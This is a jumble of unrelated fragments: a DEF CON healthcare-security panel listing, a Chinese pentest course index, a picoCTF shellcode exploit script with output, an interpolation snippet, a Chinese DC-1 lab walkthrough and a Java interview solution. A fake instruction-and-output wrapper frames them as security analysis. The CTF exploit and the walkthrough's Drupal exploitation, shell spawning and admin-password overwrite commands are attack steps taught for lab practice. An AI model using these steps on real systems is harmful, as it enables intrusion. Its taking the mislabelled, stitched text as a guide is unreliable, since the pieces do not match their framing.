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D0 N0 H4RM: A HEALTHCARE SECURITY CONVERSATION D0#No#H4rm# a#healthcare#security#conversation# D0 N0 H4RM: A HEALTHCARE SECURITY CONVERSATION D0#No#H4rm# a#healthcare#security#conversation# Fireside Fireside Hax Moderators Christian#Dameff,#MD# UC#San#Diego# Jeff#Tully,#MD# UC#Davis# Josh#Corman# CSO#PTC# I#Am#The#Cavalry# Beau#Woods# I#Am#The#Cavalry# Special Guest Suzanne Schwartz MD, MBA Associate Director for Science and Strategic Partnerships Food and Drug Administration Featuring Rob#Suárez# Head#of#Product#Security# BD# Jay#Radcliffe# Security#Researcher# Boston#Scientific## David#Nathans# Product#Security#Office# Siemens# Maxwell#Bland# Security#Researcher# UC#San#Diego# Special Guest Seth Carmody, PhD Cybersecurity Project Manager Food and Drug Administration SHOUT OUTS Joel Cardella Product Security Director Thermo-Fisher Nick van Terheyden, MD Founder, Incremental Healthcare Shawn Merdinger Security Researcher Ricky Dhaliwal, MD JD Colorado Permanente Janine Medina DEF CON Biohacking Village Project Manager Jessica Wilkerson Professional Staff Member House Energy and Commerce Audra Hatch Security Researcher The$Doctor$ Sir#Luke#Fildes#1887$ The$Doctor$ Sir#Luke#Fildes#1887$ #d0n0h4rm# Challenges and Opportunities


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### [第五十一课项目回忆体系的本质是知识点串联](../Chapter1/51_项目回忆体系的本质是知识点串联.md) ### [第五十二课渗透的本质是信息搜集](../Chapter1/52_渗透的本质是信息搜集.md) ### [第五十三课内网渗透中的文件传输](../Chapter1/53_内网渗透中的文件传输.md) ### [第五十四课基于Powershell做Socks 4-5代理](../Chapter1/54_基于Powershell做Socks4-5代理.md) ### [第五十五课与Smbmap结合攻击](../Chapter1/55_与Smbmap结合攻击.md) ### [第五十六课离线提取目标机hash](../Chapter1/56_离线提取目标机hash.md) ### [第五十七课高级持续渗透-第一季关于后门](../Chapter1/57_高级持续渗透-第一季关于后门.md) ### [第五十八课高级持续渗透-第二季关于后门补充一](../Chapter1/58_高级持续渗透-第二季关于后门补充一.md) ### [第五十九课高级持续渗透-第三季关于后门补充二](../Chapter1/59_高级持续渗透-第三季关于后门补充二.md) ### [第六十课高级持续渗透-第四季关于后门](../Chapter1/60_高级持续渗透-第四季关于后门.md)


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# shellcode Binary Exploitation, 200 points ## Description: > This program executes any input you give it. Can you get a shell? ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 148 #define FLAGSIZE 128 void vuln(char *buf){ gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); char buf[BUFSIZE]; puts("Enter a string!"); vuln(buf); puts("Thanks! Executing now..."); ((void (*)())buf)(); return 0; } ``` ## Solution: We'll use pwntools' "shellcode" module to generate a shellcode: ```python from pwn import * import argparse import os EXECUTABLE = "vuln" LOCAL_PATH = "./" REMOTE_PATH = "/problems/shellcode_0_48532ce5a1829a772b64e4da6fa58eed/" SSH_SERVER = "2018shell3.picoctf.com" def get_process_path(is_ssh = False): if is_ssh or os.path.exists(REMOTE_PATH): return REMOTE_PATH + EXECUTABLE else: return LOCAL_PATH + EXECUTABLE def get_process(ssh_user = None): is_ssh = ssh_user is not None path = get_process_path(is_ssh) params = {"argv": path, "cwd": os.path.dirname(path)} if is_ssh: s = ssh(host=SSH_SERVER, user=ssh_user) p = s.process(**params) else: p = process(**params) return p parser = argparse.ArgumentParser() parser.add_argument("-s", "--ssh_user", help="Connect via SSH with the given username") args = parser.parse_args() context.binary = get_process_path() p = get_process(args.ssh_user) shellcode = shellcraft.sh() print "Shellcode:" print shellcode payload = asm(shellcode) p.sendlineafter("Enter a string!", payload) p.interactive() ``` Output: ```console root@kali:/media/sf_CTFs/pico/shellcode# python exploit.py --ssh_user=$pico_ssh_user [*] '/media/sf_CTFs/pico/shellcode/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [+] Connecting


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s="""0; 35.645592; 50.951123; 20; 35.144068; 50.467725; 40; 34.729775; 48.204541; 60; 34.204433; 46.117139; 80; 33.602623; 44.908643; 100; 33.162285; 42.337842; 120; 33.712359; 40.140576; 140; 33.931410; 38.580518; 150; 33.894940; 37.745557; 170; 33.474422; 36.273389; 190; 35.32583531; 35.663648; 210; 33.130089; 35.19047214; 220; 32.409544; 35.141797; 230; 32.085525; 34.786115; """ x=[] y1=[] y2=[] for line in s.split("\n")[:-1]: line=line.split(";") x.append(float(line[0])) y1.append(float(line[1])) y2.append(float(line[2])) import numpy as np import matplotlib.pyplot as plt x=np.asarray(x) y1=np.asarray(y1) y2=np.asarray(y2) def coef(x, y): x.astype(float) y.astype(float) n = len(x) a = [] for i in range(n): a.append(y[i]) for j in range(1, n): for i in range(n-1, j-1, -1): a[i] = float(a[i]-a[i-1])/float(x[i]-x[i-j]) return np.array(a) # return an array of coefficient def Eval(a, x, r): x.astype(float) n = len( a ) - 1 temp = a[n] for i in range( n - 1, -1, -1 ): temp = temp * ( r - x[i] ) + a[i] return temp # return the y_value interpolation print Eval(coef(x,y1), x, 180) print Eval(coef(x,y2), x, 180)


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安全文本分析：

本文内容来自Gu师傅的博客 http://hackergu.com/ 挑选了几个比较有代表性的靶机来捋一下渗透思路 DC1 靶机下载地址 https://www.vulnhub.com/entry/dc-1,292/ 渗透思路 信息收集主机发现和端口扫描 漏洞利用Drupal CMS GetShell 权限提升SUID提权 信息收集 主机发现 基于ARP arp 可以轻易bypass掉各类应用层防火墙除非是专业的 arp 防火墙 基于ICMP 端口扫描服务探测 nmap 在扫描的过程中使用了 nmap 的 vuln 脚本这个脚本用于检测目标主机是否有常见的漏洞 扫描结果太长就不贴了关键信息是目标开放了80端口打开是一个 Drupal 7 的网站 写一些小拓展 我们可以在谷歌中使用Google Hack大量查找 Drupal 的网站语法为 inurl:"q=user/password" 我们在实战中为快速得知 Drupal 的版本我们可以在 robots.txt 中查找 MAINTAINERS.txt 文件该 文件中会泄露版本号 sudo netdiscover -r 192.168.234.0/16 -i eth0 #Linux arp-scan.exe -t 192.168.234.0/24 #Windows for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.234.%I | findstr "TTL=" nmap -T4 -Pn -A 192.168.234.176 --script=vuln #-T4 设置扫描时序时序越高速度越快最高为4 #-Pn 不使用ping目标防火墙禁止ping的时候用 漏洞利用 我们在kali中使用 searchsploit 对 drupal 进行查找可以利用的漏洞 searchsploit https://github.com/oﬀensive-security/exploitdb 在 searchsploit 的结果中看到几个漏洞可以通过 MSF 进行利用打开 MSF 搜寻exp searchsploit Drupal 我们的目标网站刚好处在可利用范围内 目标机器上线漏洞利用成功 exp设置要注意几点 通常我们的web服务都是搭建在80端口所以该exp默认帮我们填写了80端口 如果该web服务不在80端口而在888端口则我们需要将端口设置为888 另外关于 targeturi 如果该 CMS 在搭建在 /abc 目录下则需要设置 targeturi 为 /abc  寻找Flag Flag1 use 4 info #查看exp详细的信息 meterpreter> ls #查看文件列表找到Flag1 meterpreter> cat Flag1.txt 显而易见就是让我们寻找web的配置文件 Flag2 cat web.config 发现啥也没有忽然想起是CMS的配置文件 然后查找了一番最终确定要找的配置文件为 www/sites/default 中的settings.php 提示暴力和字典攻击并不是获得访问权限的唯一方法而且您需要访问权限你能用这些凭 证做什么 给出了MySQL的账号密码当然是先去登录啊 Flag3 利用python获取交互Shell python -c '__import__("pty").spawn("/bin/bash")' 登录MySQL 我们最关注的应该就属user表了所以直奔主题 在 flag2 中提示到破解不是唯一的办法 在这里我们可以直接利用update修改 admin 的密码但由于该密码是加密的所以我们也需要找到相 对应的 加密脚本  最终在网站根目录下的 scripts目录 中找到了加密脚本 password-hash.sh  这里遇到了点小问题怎么加密也不成功结果在用法里发现 mysql -u dbuser -p 若不是以root权限运行脚本则需要从网站的根目录去进行调用 ./scripts/password-hash.sh "admin" 得到 $S$D9vVemNX8fwUjNNOyw/ZcvWaPH7LeE5FNO.cf5EjDKqCzref/wA2 登录MySQL跟新管理员密码 以新密码登录 admin 账号找到 flag3 Flag4 在摸索hash脚本的时候无意发现的按照常理的话/etc/passwd中也可发现 位于 /home 目录下 提示我们需要进行提权才能得到 flag5  update users set pass='$S$D9vVemNX8fwUjNNOyw/ZcvWaPH7LeE5FNO.cf5EjDKqCzref/wA2' where uid=1; 权限提升Flag5 ﬂag3中的


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 57.2 和为 S 的连续正数序列 ## 题目描述 [牛客网](https://www.nowcoder.com/practice/c451a3fd84b64cb19485dad758a55ebe?tpId=13&tqId=11194&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 输出所有和为 S 的连续正数序列例如和为 100 的连续序列有 ``` [9, 10, 11, 12, 13, 14, 15, 16] [18, 19, 20, 21, 22] ``` ## 解题思路 ```java public ArrayList<ArrayList<Integer>> FindContinuousSequence(int sum) { ArrayList<ArrayList<Integer>> ret = new ArrayList<>(); int start = 1, end = 2; int curSum = 3; while (end < sum) { if (curSum > sum) { curSum -= start; start++; } else if (curSum < sum) { end++; curSum += end; } else { ArrayList<Integer> list = new ArrayList<>(); for (int i = start; i <= end; i++) list.add(i); ret.add(list); curSum -= start; start++; end++; curSum += end; } } return ret; } ```